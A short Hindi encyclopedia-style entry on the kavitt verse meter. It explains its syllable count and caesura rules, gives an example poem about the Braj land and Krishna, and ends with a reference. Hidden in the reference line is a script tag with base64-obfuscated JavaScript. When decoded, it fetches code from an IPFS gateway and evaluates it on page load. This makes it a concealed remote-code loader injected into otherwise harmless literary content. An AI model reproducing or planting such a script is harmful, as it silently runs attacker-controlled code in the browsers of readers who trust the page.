कवित्त

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कवित्त एक प्रकार का छन्द है। इसमें चार चरण होते हैं और प्रत्येक चरण में 16, 15 के विराम से 31 वर्ण होते हैं। प्रत्येक चरण के अन्त में 'गुरू' वर्ण होना चाहिये। छन्द की गति को ठीक रखने के लिये 8, 8, 8 और 7 वर्णों पर 'यति' रहना आवश्यक है।[1] जैसे-

उदाहरण-

आते जो यहाँ हैं बज्र भूमि की छटा को देख,
नेक न अघाते होते मोद-मद माते हैं।
जिस ओर जाते उस ओर मन भाये दृश्य,
लोचन लुभाते और चित्त को चुराते हैं।।
पल भर अपने को वे भूल जाते सदा,
सुखद अतीत–सुधा–सिंधु में समाते हैं।।
जान पड़ता हैं उन्हें आज भी कन्हैया यहाँ,
मैंया मैंया–टेरते हैं गैंया को चराते हैं।।


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टीका टिप्पणी और संदर्भ

  1. छन्द क्या है (हिन्दी)। । अभिगमन तिथि: 19 दिसम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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